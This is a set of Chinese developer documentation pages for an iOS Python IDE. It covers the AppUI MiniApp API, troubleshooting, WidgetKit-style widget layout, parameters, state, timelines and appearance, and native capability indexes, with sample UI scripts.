`NavigationStack` | 页面 push、详情页、设置页 | [导航与页面结构](appui-guide-navigation.md) | +| `NavigationLink` | 列表进详情、设置项进入子页 | [导航与页面结构](appui-guide-navigation.md) | +| `NavigationPath` | 程序化跳转、返回、带参数详情 | [导航与页面结构](appui-guide-navigation.md) | +| `TabView` / `Tab` | 首页、记录、设置等主分区 | [导航与页面结构](appui-guide-navigation.md) | +| `.tab_view_bottom_accessory` + `.sheet` | 底部状态条点击后打开原生面板 | [导航参考](appui-ref-navigation.md#底部附件与原生-sheet) | +| `Form` / `Section` | 设置、资料编辑、筛选条件 | [布局系统](appui-guide-layout.md) | +| `TextField` / `SecureField` | 单行输入、密码、API Key | [控件 API](appui-ref-controls.md) | +| `Toggle` / `Picker` / `Slider` | 开关、模式、连续数值 | [控件 API](appui-ref-controls.md) | +| `List` / `ForEach` | 动态行、分组数据、原生列表 | [布局系统](appui-guide-layout.md) | +| `ContentUnavailableView` | 空状态、无结果、无权限提示 | [数据展示](appui-ref-data.md) | +| `.searchable` / `.refreshable` | 搜索过滤、下拉刷新 | [交互与回调](appui-guide-interaction.md) | + + + +--- source: pythonide/Docs/miniapp-appui-api-index.md --- + +# AppUI API 地图 + +这页按任务组织 AppUI API。还没确定页面结构时,先看 [AppUI UI 模式](miniapp-appui-ui-patterns.md)。 + +## 最小正确组合 + +```python runnable previewAppUI +import appui + +state = appui.State(name="MiniApp", enabled=True, saved=False) + + +def set_name(value): + state.batch_update(name=value, saved=False) + + +def set_enabled(value): + state.batch_update(enabled=value, saved=False) + + +def save(): + state.saved = bool(state.name.strip()) + + +def body(): + footer = "Saved" if state.saved else "Edit values and tap Save" + form = appui.Form([ + appui.Section("Controls", [ + appui.TextField("Name", text=state.name, on_change=set_name), + appui.Toggle("Enabled", is_on=state.enabled, on_change=set_enabled), + ]), + appui.Section("Output", [ + appui.LabeledContent("Name", value=state.name or "Missing"), + appui.LabeledContent("Enabled", value=str(state.enabled)), + ], footer=footer), + ]).navigation_title("API 地图") + + return appui.NavigationStack( + form.toolbar([ + appui.ToolbarItem( + placement="navigation_bar_trailing", + content=appui.Button("Save", action=save) + .button_style("bordered_prominent"), + ) + ]) + ) + + +appui.run(body, state=state) +``` + +预期效果:页面显示输入、开关、输出和导航栏保存按钮;修改后点击 Save 会更新保存状态。 + +## 按任务查 API + +| 任务 | 首选 API | 继续阅读 | +| --- | --- | --- | +| 启动 MiniApp | `appui.run` | [函数参考](appui-ref-functions.md) | +| 控制呈现方式 | `appui.run(..., presentation=...)` | [函数参考](appui-ref-functions.md) | +| 程序化弹层 | `presentation_present` / `presentation_dismiss` | [呈现 API](appui-ref-presentation.md) | +| 保存普通界面状态 | `State` | [状态管理](appui-guide-state.md) | +| 多字段一起更新 | `state.batch_update(...)` | [状态管理](appui-guide-state.md) | +| 高频局部刷新 | `ReactiveState` | [性能与实时界面](appui-guide-performance.md) | +| 派生数据 | `computed` | [状态管理](appui-guide-state.md) | +| 状态变化后的副作用 | `effect` | [状态管理](appui-guide-state.md) | +| 双向绑定 | `bind` | [函数参考](appui-ref-functions.md) | +| 输入设置项 | `Form + Section` | [布局系统](appui-guide-layout.md) | +| 动态列表 | `List + ForEach` | [布局系统](appui-guide-layout.md) | +| 列表进详情 | `NavigationStack + NavigationLink` | [导航与页面结构](appui-guide-navigation.md) | +| 程序化跳转 | `NavigationPath + destinations` | [导航与页面结构](appui-guide-navigation.md) | +| 多主分区 | `TabView + Tab` | [导航与页面结构](appui-guide-navigation.md) | +| 底部状态条展开面板 | `.tab_view_bottom_accessory` + `.sheet` | [导航参考](appui-ref-navigation.md#底部附件与原生-sheet) | +| 导航栏按钮 | `ToolbarItem` | [导航参考](appui-ref-navigation.md) | +| 临时弹层 | `.sheet` / `.popover` | [呈现 API](appui-ref-presentation.md) | +| 确认和错误提示 | `.alert` / `.confirmation_dialog` | [呈现 API](appui-ref-presentation.md) | +| 搜索和刷新 | `.searchable` / `.refreshable` | [交互与回调](appui-guide-interaction.md) | +| 空状态 | `ContentUnavailableView` | [数据展示](appui-ref-data.md) | +| 加载状态 | `ProgressView` | [数据展示](appui-ref-data.md) | +| 输入控件 | `TextField`、`SecureField`、`TextEditor` | [控件 API](appui-ref-controls.md) | +| 选择控件 | `Toggle`、`Picker`、`Slider`、`Stepper` | [控件 API](appui-ref-controls.md) | +| 媒体和文件 | `PhotoPicker`、`CameraPicker`、`FileImporter` | [媒体 API](appui-ref-media.md) | +| 地图、网页、视频 | `MapView`、`WebView`、`VideoPlayer` | [媒体 API](appui-ref-media.md) | +| 图表和绘制 | `Chart`、`Canvas`、`DrawingContext`、`Path` | [图表 API](appui-ref-charts.md) | + +## 行为契约 + +| API | 保证 | 注意 | +| --- | --- | --- | +| `appui.run(...)` | 启动当前 MiniApp 页面。 | 一个脚本只保留一个最终入口。 | +| `State` | 字段变化后页面重建。 | 多字段同时更新用 `batch_update(...)`。 | + + + +--- source: pythonide/Docs/miniapp-dev-troubleshooting.md --- + +# MiniApp 开发排错 + +排错先看运行时是否选对,再看入口是否完整,最后查状态、交互、布局和系统能力。不要只确认“预览能打开”,还要确认按钮、输入、搜索、刷新和弹层都能产生可见变化。 + +## 最小健康样例 + +```python runnable previewAppUI +import appui + +state = appui.State(saved=False) + + +def save(): + state.saved = True + + +def body(): + label = "Saved" if state.saved else "Not saved" + return appui.NavigationStack( + appui.Form([ + appui.Section("Action", [ + appui.LabeledContent("Status", value=label), + appui.Button("Save", action=save) + .button_style("bordered_prominent"), + ]) + ]).navigation_title("排错") + ) + + +appui.run(body, state=state) +``` + +预期效果:页面显示保存状态,点击 Save 后状态从 `Not saved` 变成 `Saved`。 + +## 快速定位 + +| 现象 | 先查 | 继续看 | +| --- | --- | --- | +| 预览打不开 | `import appui`、`body()`、`appui.run(...)` | [快速上手](appui-quickstart.md) | +| 点按钮没反应 | `action` 是否传函数本身 | [AppUI API 地图](miniapp-appui-api-index.md) | +| 输入不更新 | `on_change` 是否写回 `State` | [状态管理](appui-guide-state.md) | +| 列表刷新错乱 | `ForEach` 是否有稳定 `key` | [布局系统](appui-guide-layout.md) | +| 页面不像原生 App | 是否使用 `List`、`Form`、`NavigationStack` | [AppUI UI 模式](miniapp-appui-ui-patterns.md) | +| 高频刷新卡顿 | `Timer` 是否在 `body()` 外创建 | [性能与实时界面](appui-guide-performance.md) | +| 权限或系统能力失败 | 是否处理拒绝、取消和不可用 | [原生能力入口](miniapp-native-capabilities.md) | + +## 正确的按钮写法 + +```python +def save(): + state.saved = True + + +appui.Button("Save", action=save) +``` + +不要这样写: + +```python +appui.Button("Save", action=save()) +``` + +`save()` 会在构建页面时立刻执行,按钮拿不到正确回调。 + +## 正确的列表写法 + +```python +def row_key(row): + return row["id"] + + +def row_view(row): + return appui.Text(row["title"]) + + +appui.ForEach(rows, row_builder=row_view, key=row_key) +``` + +不要把筛选后的 index 当 key。删除、重排、搜索后 index 会变化,行状态可能错位。 + +## 运行前检查 + +- 完整示例应该能独立复制运行,入口只保留一次 `appui.run(...)`。 +- 按钮、输入、搜索、刷新和弹层都应该有可见状态变化。 +- 动态列表必须有稳定 `key`,删除、搜索、重排后不能错行。 +- 涉及相册、相机、定位、通知、健康数据等能力时,要处理权限拒绝、用户取消和设备不可用。 +- 网络、文件、权限请求不要直接写在 `body()` 里,放到按钮、刷新或明确的加载动作中。 +- 失败时保留旧数据或显示空状态,不要让页面静默空白。 + +## 失败路径 + + + +--- source: pythonide/Docs/widget-module.md --- + +# widget + +用 Python 描述主屏、锁屏与 StandBy 小组件;由 PythonIDE + WidgetKit 负责渲染、刷新与桌面交互。 + +> **边界**:`widget` 是 **WidgetKit 时间线模型**,不是普通 App 页面。不要用 [appui](appui) 做小组件,不要用 [scene](scene-module) 做 60fps 游戏画布。脚本只描述布局、参数、状态与时间线,结尾必须 `w.render()`。 + +## 模块概览 + +| 项 | 说明 | +| --- | --- | +| 导入 | `import widget` | +| 适合做什么 | 计数器、进度、图表卡片、锁屏 accessory、可点按钮/开关 | +| 入口 | `w = widget.Widget(...)` → 组合节点 → **`w.render()`**(只创建一个 `Widget`) | +| 可调参数 | `widget.param.text/color/number/slider/bool/choice/file` — 预览面板可编辑 | +| 桌面交互 | `widget.state.int/bool/...` → `count.increment()`、`done.toggle()` 等 action | +| 尺寸适配 | `widget.context`、`widget.family_value(...)` 按 small/medium/large 分支 | +| 发布 | **Widget Studio** 运行后发布;文档 `previewWidget` 仅预览 → [从脚本到桌面](widget-quickstart-publish) | + +--- + +## 快速开始 + +运行下面脚本会打开**小组件预览**(非 AppUI 全屏)。用环形图展示饮水进度,`+` / `−` 在桌面改写杯数。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +goal = widget.param.number("每日杯数", 8, min=1, max=12) +glasses = widget.state.int("glasses", 0) +accent = widget.param.color("主色", "#38BDF8") + +w = widget.Widget(background=("#F0F9FF", "#0C4A6E"), padding=14) +w.text("饮水打卡", size=16, weight="semibold").line_limit(1).min_scale(0.72) +w.ring_chart( + min(int(glasses), int(goal)), + total=int(goal), + label=f"{int(glasses)}/{int(goal)} 杯", + color=accent, +) +with w.row(spacing=10): + ( + w.button("−", action=glasses.decrement(), style="plain") + .line_limit(1) + .min_scale(0.72) + ) + ( + w.button("+", action=glasses.increment(), background=accent, color="#FFFFFF") + .line_limit(1) + .min_scale(0.72) + ) +w.render() +``` + +要点: + +- `widget.param.number(...)`:预览里可调每日目标杯数。 +- `widget.state.int(...)` + `ring_chart(...)`:桌面点击后环与标签同步刷新。 +- `with w.row(...)`:横排多个按钮,比纵向堆叠更省高度。 +- `.line_limit(1).min_scale(...)`:防止 small/medium 文字被裁切。 + +--- + +## Widget 预览示例 + +### 每日一言(参数 + 尺寸分支) + +纯展示卡片:无 `widget.state`,演示 `param.text`、`symbol` 与 `family_value`;small 隐藏出处行。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +quote = widget.param.text("名言", "专注一件事,做到极致。") +author = widget.param.text("出处", "— 佚名") +ink = widget.param.color("文字色", "#E2E8F0") +title_size = widget.family_value(17, small=15, large=20) +body_size = widget.family_value(15, small=13, large=17) + +w = widget.Widget(background=("#0F172A", "#020617"), padding=16) +with w.row(spacing=8): + w.symbol("quote.bubble.fill").color("#60A5FA").font_size(18) + w.text("每日一言", size=14, weight="semibold", color="secondary").line_limit(1) +w.text(quote, size=body_size, color=ink).line_limit(3).min_scale(0.7) +if not widget.context.is_family("small"): + w.text(author, size=12, color="secondary").line_limit(1).min_scale(0.72) +w.render() +``` + + + +--- source: pythonide/Docs/widget-layout.md --- + +# widget 布局与尺寸 + +小组件布局以 **WidgetKit family** 为边界:先定目标尺寸与信息密度,再选容器;不要把 large 的内容硬塞进 small。 + +> **边界**:本篇讲 **row/column/grid/table/canvas**、`widget.context` 与防裁切。桌面点击与 `widget.state` 见 [状态和交互](widget-interaction);参数面板见 [参数面板](widget-parameters)。 + +## 本篇目标 + +| 项 | 说明 | +| --- | --- | +| 核心原则 | **按 family 设计**,不是把同一套 UI 整体缩小 | +| 容器 | `row()` / `column()` / `grid()` / `table()` / `canvas()` / `layer()` | +| 尺寸 API | `widget.context`、`widget.family_value()`、`w.when()` / `w.unless()` | +| 主屏 | `small` / `medium` / `large`(158²、338×158、338×354 内容区) | +| 锁屏 | `circular` / `rectangular` / `inline` — 极简,节点数严格受限 | +| 收尾 | 可变文案加 `.line_limit(1).min_scale(0.65+)` | + +--- + +## 快速开始 + +`row()` 横排三列指标,`column()` 在每列里纵向叠标题与数值——适合仪表盘,比单列更省高度。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +steps = widget.param.number("步数", 8420, min=0, max=50000) +calories = widget.param.number("千卡", 420, min=0, max=5000) +sleep_h = widget.param.number("睡眠(h)", 7, min=0, max=12) +accent = widget.param.color("主色", "#10B981") + +w = widget.Widget(background=("#ECFDF5", "#064E3B"), padding=14) +w.text("今日健康", size=16, weight="semibold").line_limit(1) +with w.row(spacing=12): + with w.column(spacing=2): + w.text("步数", size=11, color="secondary").line_limit(1) + w.value(steps).monospaced_digit().line_limit(1).min_scale(0.72) + with w.column(spacing=2): + w.text("千卡", size=11, color="secondary").line_limit(1) + w.value(calories).monospaced_digit().line_limit(1).min_scale(0.72) + with w.column(spacing=2): + w.text("睡眠", size=11, color="secondary").line_limit(1) + ( + w.value(sleep_h, unit="h") + .monospaced_digit() + .line_limit(1) + .min_scale(0.72) + ) +w.rect(color=accent, height=3, corner_radius=2) +w.render() +``` + +要点: + +- 容器必须用 **`with w.row():` / `with w.column():`** 上下文管理器,不要把子节点当位置参数传入。 +- `spacing=` 控制子项间距;`align=` 可选 `leading` / `center` / `trailing`。 +- 预览右上角切换 family,确认三列在 **small** 仍可读。 + +--- + +## 心智模型 + +``` +选定 family(small / medium / large / 锁屏 accessory) + ↓ +读 widget.context → content_width × content_height(扣掉 padding 后的可画区域) + ↓ +决定信息层级:标题 → 主值 → 次要说明 → 图表/表格 + ↓ +选容器:语义流式用 row/column/grid;精确格子用 table;点位绘制用 canvas + ↓ +防裁切:line_limit + min_scale;small 隐藏次要行 +``` + +### 内容区预算(点) + +以下为默认 padding 下的**内容区**宽高,脚本里用 `widget.context` 或 `w.context` 读取(**属性,不可调用**;不要写 `widget.context()`): + +| Family | 约 content 宽 × 高 | 设计建议 | +| --- | --- | --- | +| `small` | 158 × 158 | 标题 + 1 主值 + 1 视觉元素 | +| `medium` | 338 × 158 | 默认主力版;可横排 2–3 列 | +| `large` | 338 × 354 | 可加第二段:图表、表格、说明行 | +| `circular` | 64 × 64 | SF Symbol + 极短数字/缩写 | +| `rectangular` | 160 × 56 | 一行或图标+一行字 | +| `inline` | 220 × 22 | 单行文字,无图表/表格 | + +常量:`widget.SMALL`、`widget.MEDIUM`、`widget.LARGE`、`widget.CIRCULAR`、`widget.RECTANGULAR`、`widget.INLINE`。 + + + +--- source: pythonide/Docs/widget-parameters.md --- + +# widget 参数面板 + +用 `widget.param` 声明**用户可在预览面板调节**的配置项;返回值直接用于 `Widget()`、`text()`、`progress()`、`button()` 等。 + +> **边界**:`widget.param` 是**小组件配置**(预览/发布时的参数),不是桌面点击改写的数据。计数、开关持久化用 [widget.state](widget-interaction),见 [状态和交互](widget-interaction)。 + +## 本篇目标 + +| 项 | 说明 | +| --- | --- | +| 何时用 | 颜色、标题文案、字号、阈值、是否紧凑、主题选项、背景图文件 | +| 何时不用 | 用户点按钮 +1、桌面开关记忆 → 用 `widget.state` | +| 声明时机 | 构建 UI **之前**;在 `w.render()` **之前** | +| 改名/改类型后 | 重新运行并发布;桌面小组件可能需重新添加 | + +--- + +## 快速开始 + +预览侧栏会出现多类参数;`choice` 切换主题时,背景、图标与强调色一并变化(无 `widget.state`)。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +theme = widget.param.choice("主题", ["海洋", "日落", "森林"], default="海洋") +themes = { + "海洋": (("#E0F2FE", "#082F49"), "#0EA5E9", "drop.fill"), + "日落": (("#FFF7ED", "#431407"), "#F97316", "sun.max.fill"), + "森林": (("#ECFDF5", "#052E16"), "#10B981", "leaf.fill"), +} +bg, accent, icon = themes[str(theme)] +title = widget.param.text("标题", "今日天气") +city = widget.param.text("城市", "上海") +temp = widget.param.number("温度", 24, min=-20, max=45) + +w = widget.Widget(background=bg, padding=14) +with w.row(spacing=10): + w.symbol(icon).color(accent).font_size(24) + w.text(title, size=16, weight="semibold", color=accent).line_limit(1).min_scale(0.72) +( + w.value(temp, unit="°") + .content_transition("numericText") + .monospaced_digit() + .line_limit(1) + .min_scale(0.72) +) +w.text(city, size=12, color="secondary").line_limit(1).min_scale(0.72) +w.render() +``` + +--- + +## 参数 vs 状态 + +| | `widget.param` | `widget.state` | +| --- | --- | --- | +| 谁改 | 用户在 **预览面板 / Studio** 调 | 用户在 **桌面小组件** 点按 | +| 持久化 | 写入 Widget 项目配置 | 写入小组件状态存储 | +| 典型用途 | 主题色、默认标题、目标值 | 计数器、完成开关、列表勾选 | +| 传给 UI | 直接作 `color=`、`size=`、`background=` | 作 `value` / `state=` + `action` | + +```python +# ✅ 配置:强调色可调 +accent = widget.param.color("强调色", "#2563EB") + +# ✅ 交互:桌面点击累加 +count = widget.state.int("count", 0) +w.button("加 1", action=count.increment(), background=accent) +``` + +--- + +## API 参考 + +### 速查 + +| API | 返回值 | 预览控件 | +| --- | --- | --- | +| `param.text(name, default)` | `str`(可绑定) | 文本框 | +| `param.color(name, default)` | 颜色字符串 | 取色器 | +| `param.slider(name, default, min=, max=, step=)` | `float`/`int` | 滑块 | +| `param.number(name, default, min=, max=)` | 数字 | 数字步进 | +| `param.bool(name, default)` | `bool` | 开关 | +| `param.choice(name, options, default=)` | `str`(选项之一) | 下拉/分段 | +| `param.file(name, default, extensions=)` | 文件路径 `str` | 文件选择 | + +`name` 是参数 ID,同时作为预览面板默认标题;建议用用户能看懂的中文,如 `"背景色"`、`"标题字号"`。 + + + + +--- source: pythonide/Docs/widget-interaction.md --- + +# widget 状态和交互 + +桌面小组件**不执行任意 Python 回调**。按钮、开关、列表勾选只能触发受控 **AppIntent**:改写 `widget.state`、刷新时间线,或打开链接。 + +> **边界**:本篇讲**桌面点击**与 `widget.state`。预览面板里的配色、标题默认值用 [widget.param](widget-parameters),不要混用。 + +## 本篇目标 + +| 项 | 说明 | +| --- | --- | +| 何时用 | 计数器、完成开关、习惯勾选、打开网页/深链 | +| 核心 API | `widget.state.*` → `.increment()` / `.toggle()` / `.toggle_item()` | +| 节点 | `w.button(..., action=)`、`w.toggle(..., state=)`、`w.link(...)` | +| 限制 | `action=` 必须来自 state 工厂;不能传 Python 函数 | +| 发布后 | 改 state key 需重新发布;桌面可能需删组件重装 | + +--- + +## 快速开始 + +单按钮累加 + 数字过渡:比 [概览 · 饮水打卡](widget-module#快速开始) 的 ± 环图更简单,专讲 `action` 与 `numericText`。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +streak = widget.state.int("streak", 0) +accent = widget.param.color("主色", "#2563EB") + +w = widget.Widget(background=("#FFFFFF", "#0F172A"), padding=14) +w.text("连续签到", size=16, weight="semibold").line_limit(1) +( + w.value(streak, unit="天") + .id("streak") + .content_transition("numericText") + .monospaced_digit() + .line_limit(1) + .min_scale(0.72) +) +( + w.button("签到", action=streak.increment(), background=accent, color="#FFFFFF") + .line_limit(1) + .min_scale(0.72) + .pressed(scale=0.94) +) +w.render() +``` + +要点: + +- `streak.increment()` 返回 AppIntent,赋给 `action=`;**不能**写字符串或 Python 函数。 +- `.content_transition("numericText")` + `.id(...)`:数字变化时系统过渡动画。 +- `.pressed(scale=0.94)` 等价于 `button(..., press={"scale": 0.94})`。 +- `widget.param.color` 只调配色,不改桌面计数值。 + +--- + +## 交互示例 + +### 习惯清单(`state.list` + `toggle_item`) + +多项勾选用 `widget.state.list`;每项 `done.toggle_item(i)` 切换是否在列表里。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +habits = ["晨跑", "喝水 8 杯", "阅读 30 分", "整理桌面"] +done = widget.state.list("habits_done", []) +accent = widget.param.color("完成色", "#22C55E") + +w = widget.Widget(background=("#FAFAFA", "#1C1C1E"), padding=14) +w.text("今日习惯", size=16, weight="semibold").line_limit(1) +for i, label in enumerate(habits): + checked = done.contains(i) + mark = "✓ " if checked else "○ " + ( + w.button( + mark + label, + action=done.toggle_item(i), + style="plain", + color=accent if checked else "secondary", + size=13, + ) + .line_limit(1) + .min_scale(0.72) + ) +w.render() + + + +--- source: pythonide/Docs/widget-timeline.md --- + +# widget 时间线和动画 + +Widget 动画由 **WidgetKit 在数据更新时**触发:timeline entry 切换、AppIntent 改写 `widget.state`,或系统按计划刷新。不是 App 里的 60fps 循环动画。 + +> **边界**:本篇讲 `w.timeline`、`widget.entry`、数字过渡与 `flip`。布局防裁切见 [布局与尺寸](widget-layout);按钮触发 state 见 [状态和交互](widget-interaction)。 + +## 本篇目标 + +| 项 | 说明 | +| --- | --- | +| 两类数据源 | **`widget.state`**(桌面点击)与 **`widget.entry`**(时间线条目字段) | +| 数字动画 | `.content_transition("numericText")` + `.monospaced_digit()` + `.id(...)` | +| 时间线 | `w.timeline(entries=[...], update=, after=)` 声明未来快照 | +| 翻页块 | `w.flip(current, previous=...)` 配合 entry 前后值 | +| 系统计时 | `w.countdown` / `w.timer_text` — WidgetKit 原生倒计时 | +| 限制 | 无持续循环;刷新时机由系统调度 | + +--- + +## 快速开始 + +桌面点「消费」后余额数字滚动过渡——这是 **state + numericText**,不依赖 timeline。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +balance = widget.state.int("balance", 1280) +accent = widget.param.color("主色", "#10B981") +num_size = widget.family_value(42, small=34, large=52) + +w = widget.Widget(background=("#ECFDF5", "#064E3B"), padding=14) +w.text("零钱罐", size=14, color="secondary").line_limit(1) +( + w.value(balance.text("¥{}")) + .id("balance") + .font_size(num_size) + .monospaced_digit() + .content_transition("numericText") + .line_limit(1) + .min_scale(0.65) +) +( + w.button("消费 ¥10", action=balance.decrement(by=10), background=accent, color="#FFFFFF") + .line_limit(1) + .min_scale(0.72) +) +w.render() +``` + +要点: + +- `balance.text("¥{}")`:把 state 格式化成带货币符号的展示串,同时保留 state 绑定。 +- `.content_transition("numericText")`:数值变化时系统数字滚动动画。 +- `.id("balance")`:给变化节点稳定身份,动画更可靠。 +- 预览里点按钮即可看动画;桌面需发布后在小组件上点击。 + +--- + +## 心智模型 + +``` + ┌─────────────────────────────────────┐ + │ WidgetKit 刷新时机 │ + └─────────────────────────────────────┘ + 系统调度 / timeline 到期 / AppIntent 改 state + ↓ + 当前 entry 字段 或 state 新值 写入快照 + ↓ + 节点带 content_transition / flip / animation / transition + ↓ + 系统播放一次过渡动画 +``` + +### `widget.state` vs `widget.entry` + +| | `widget.state` | `widget.entry` | +| --- | --- | --- | +| 谁写入 | 桌面 **AppIntent**(按钮、开关) | **`w.timeline` entries** 每条快照 | +| 典型用途 | 计数器、余额、开关 | 按计划变化的展示数、翻页前后值 | +| 绑定写法 | `widget.state.int("key", 0)` | `widget.entry.int("price", 0.58)` | +| 格式化 | `count.text("{} 次")` | `price.text("{:.2f}")` | +| 动画触发 | 点击后 state 变 | 预览/桌面切到下一 entry | + +同一张卡片可以**同时**有 state(交互)和 entry(定时),但动画字段要各绑各的 key,不要混用。 + +### 动画 API 怎么选 + +| API | 适合 | + + + +--- source: pythonide/Docs/widget-appearance-assets.md --- + +# widget 资源与外观 + +WidgetKit 负责浅色/深色、透明、系统染色(Tinted)等外观策略。脚本只**声明意图**——颜色、背景、图标、图片路径——不要用手写遮罩去模拟系统行为。 + +> **边界**:本篇讲背景、图标、图片、SVG 与 `.accentable()` 等外观 API。可调默认配色用 [widget.param](widget-parameters);布局防裁切见 [布局与尺寸](widget-layout)。 + +## 本篇目标 + +| 项 | 说明 | +| --- | --- | +| 背景 | 纯色、`(浅色, 深色)`、渐变 `dict`、`background_image` | +| 系统表面 | `container_background`、`transparent_background`、`content_margins` | +| 图标 | `w.symbol`(SF Symbol)、`w.svg`(矢量文件) | +| 位图 | `w.image`、`widget.param.file`、`widget.save_image` | +| 染色 | `.accentable(True/False)` 控制是否参与系统 Tinted | +| 隐私 | `.privacy_sensitive()`、`.redacted()` 锁屏占位 | + +--- + +## 快速开始 + +渐变根背景 + 浅色文字,无需外部图片即可预览。 + +预期效果:小组件预览面板显示与脚本一致的布局与交互。 + +```python runnable previewWidget +import widget + +w = widget.Widget( + background={ + "gradient": ["#4F46E5", "#7C3AED", "#DB2777"], + "direction": "vertical", + }, + padding=16, +) +with w.row(spacing=10): + w.symbol("sparkles", scale="medium").color("#FFFFFF") + w.text("今日灵感", size=16, weight="semibold", color="#FFFFFF").line_limit(1) +w.text("写一段只给自己的话", size=13, color="#E0E7FF").line_limit(2).min_scale(0.72) +w.render() +``` + +要点: + +- `Widget(background=...)` 支持单色、`("#F8FAFC", "#0F172A")` 双色、或 `{"gradient": [...], "direction": "vertical"}`。 +- 文字颜色可写十六进制或语义名 `"secondary"`(随系统外观变化)。 +- 渐变方向常用 `"vertical"` / `"horizontal"`。 + +--- + +## 心智模型 + +``` +脚本声明外观意图(颜色 / 背景 / 资源路径 / accentable) + ↓ + PythonIDE 生成 Widget IR + 资源清单 + ↓ + WidgetKit 按系统外观(浅色 / 深色 / Tinted / 透明)渲染 +``` + +### 背景 API 怎么选 + +| API | 作用 | +| --- | --- | +| `Widget(background=...)` | 卡片内容区底色(纯色 / 双色 / 渐变) | +| `w.container_background(..., removable=)` | 系统 Widget **容器**背景(可请求移除) | +| `w.background_image(...)` | 铺满容器的背景图 + 遮罩 | +| `w.transparent_background(True)` | 请求透明(宿主是否允许由系统决定) | +| `w.content_margins(False)` | 边到边布局,去掉系统内容边距 | + +普通卡片用 `Widget(background=...)`;需要**照片墙**时用 `background_image`;需要**融入主屏壁纸**时组合 `transparent_background` + `container_background(..., removable=True)`。 + +### 资源路径约定 + +| 来源 | 写法 | +| --- | --- | +| 脚本同目录 | `"cover.jpg"` | +| `assets/` 子目录 | `"assets/icon.svg"` | +| 用户文件参数 | `widget.param.file("封面", "assets/cover.jpg", extensions=[...])` | +| 运行时注册 | `widget.save_image(url_or_bytes, "avatar")` → `w.image("avatar")` | +| 远程 URL | `w.image("https://example.com/pic.png")`(需网络,注意缓存) | + +深色模式应为图片提供 **dark 变体**,不要只靠压暗浅色图。 + +--- + +## 外观示例 + +### 系统染色(`accentable`) + + + + +--- source: pythonide/Docs/ios-native.md --- + +# iOS 原生能力 + +iOS 原生 Python 模块总入口:按任务选模块、组合调用、权限与真机要求速查。 + +> **边界**:这是 **能力索引页**,不是 `import` 名。具体 API 见各模块文档;系统面板、硬件扫描、权限申请必须由按钮或菜单触发,不要在 AppUI `body()` 或模块导入时自动执行。 + +## 模块概览 + +| 项 | 说明 | +| --- | --- | +| 导入 | 按任务 `import` 对应模块(如 `import photos`) | +| 适合做什么 | 相册、定位、通知、蓝牙、健康、网络等系统能力 | +| 调用时机 | 按钮/刷新/选择器触发;`body()` 只展示 `State` | +| 敏感数据 | token/密钥 → `keychain`;普通设置 → `storage` | +| 文档导航 | schema `navigation.iosNative` 投影;见下方 **文档导航** 表 | +| 下一步 | 按场景配方选模块 → 打开模块页 → 复制 AppUI 示例 | + +--- + +## 快速开始 + +相册、剪贴板、HUD 与钥匙串组合(函数式,适合脚本调试): + +```python +import clipboard +import console +import keychain +import photos + + +def pick_photo_and_copy_size(): + image = photos.pick_image(raw_data=True) + if not image: + return "已取消选择" + clipboard.set(f"picked {len(image)} bytes") + console.hud_alert("已复制图片大小", "success") + return f"已复制 {len(image)} bytes" + + +def save_demo_token(): + ok = keychain.set_password("demo", "token", "demo-token") + return "已保存" if ok else "保存失败" +``` + +--- + +## AppUI 示例 + +设备信息、本地快照与通知提醒组合;原生调用均在按钮回调里。 + +```python runnable previewAppUI +import appui +import device +import haptics +import notification +import storage + +SNAPSHOT_KEY = "native.snapshot" +REMINDER_ID = "native.snapshot.reminder" + +state = appui.State( + message="就绪", + rows=[ + {"id": "model", "title": "型号", "value": "点击刷新"}, + {"id": "battery", "title": "电量", "value": "—"}, + ], +) + + +def row_key(row): + return row["id"] + + +def row_view(row): + return appui.LabeledContent(row["title"], value=row["value"]) + + +def refresh_device_info(): + state.rows = [ + {"id": "model", "title": "型号", "value": device.model()}, + {"id": "battery", "title": "电量", "value": f"{device.battery_level():.0%}"}, + ] + state.message = "设备信息已刷新" + + +def save_snapshot(): + storage.set_json(SNAPSHOT_KEY, state.rows) + if haptics.is_supported(): + haptics.notification("success") + state.message = "快照已保存" + + + +--- source: pythonide/Docs/miniapp-native-capabilities.md --- + +# 原生能力入口 + +> **主文档已合并**:入口模型、Python 模块表、AppUI 原生组件入口表与侧边栏导航均由 schema 生成,请优先阅读 **[iOS 原生能力](ios-native)**。本文仅保留历史深链,不再维护独立能力表。 + +MiniApp 场景下的原生能力配方:按任务选模块、组合调用、状态写回界面。 + +> **边界**:这是 **MiniApp 配方索引**,不是可 `import` 的模块。完整 API 以各模块文档为准;系统调用放在按钮回调,不要写在 `body()` 里。 + +## 模块概览 + +| 项 | 说明 | +| --- | --- | +| 导入 | 按场景 `import` 对应模块(如 `photos`、`storage`) | +| 适合做什么 | 选图、定位、通知、持久化、网络列表等 MiniApp 常见流 | +| 调用时机 | 按钮、刷新、选择器触发;`body()` 只读 `State` | +| 数据分工 | 设置 `storage`、记录 `database`、密钥 `keychain` | +| 反馈 | 成功/取消/失败都写回 `State` 或 HUD | + +--- + +## 快速开始 + +保存主题并触发触觉反馈: + +```python +import haptics +import storage + +storage.set("demo.theme", "Dark") +if haptics.is_supported(): + haptics.notification("success") +print("已保存:", storage.get("demo.theme")) +``` + +--- + +## AppUI 示例 + +设备信息、快照、通知组合;所有原生调用在按钮回调里。 + +```python runnable previewAppUI +import appui +import device +import haptics +import notification +import storage + +SNAPSHOT_KEY = "native.snapshot" +REMINDER_ID = "native.snapshot.reminder" + +state = appui.State( + message="就绪", + rows=[ + {"id": "model", "title": "型号", "value": "点击刷新"}, + {"id": "battery", "title": "电量", "value": "—"}, + ], +) + + +def row_key(row): + return row["id"] + + +def row_view(row): + return appui.LabeledContent(row["title"], value=row["value"]) + + +def refresh_device_info(): + state.rows = [ + {"id": "model", "title": "型号", "value": device.model()}, + {"id": "battery", "title": "电量", "value": f"{device.battery_level():.0%}"}, + ] + state.message = "设备信息已刷新" + + +def save_snapshot(): + storage.set_json(SNAPSHOT_KEY, state.rows) + if haptics.is_supported(): + 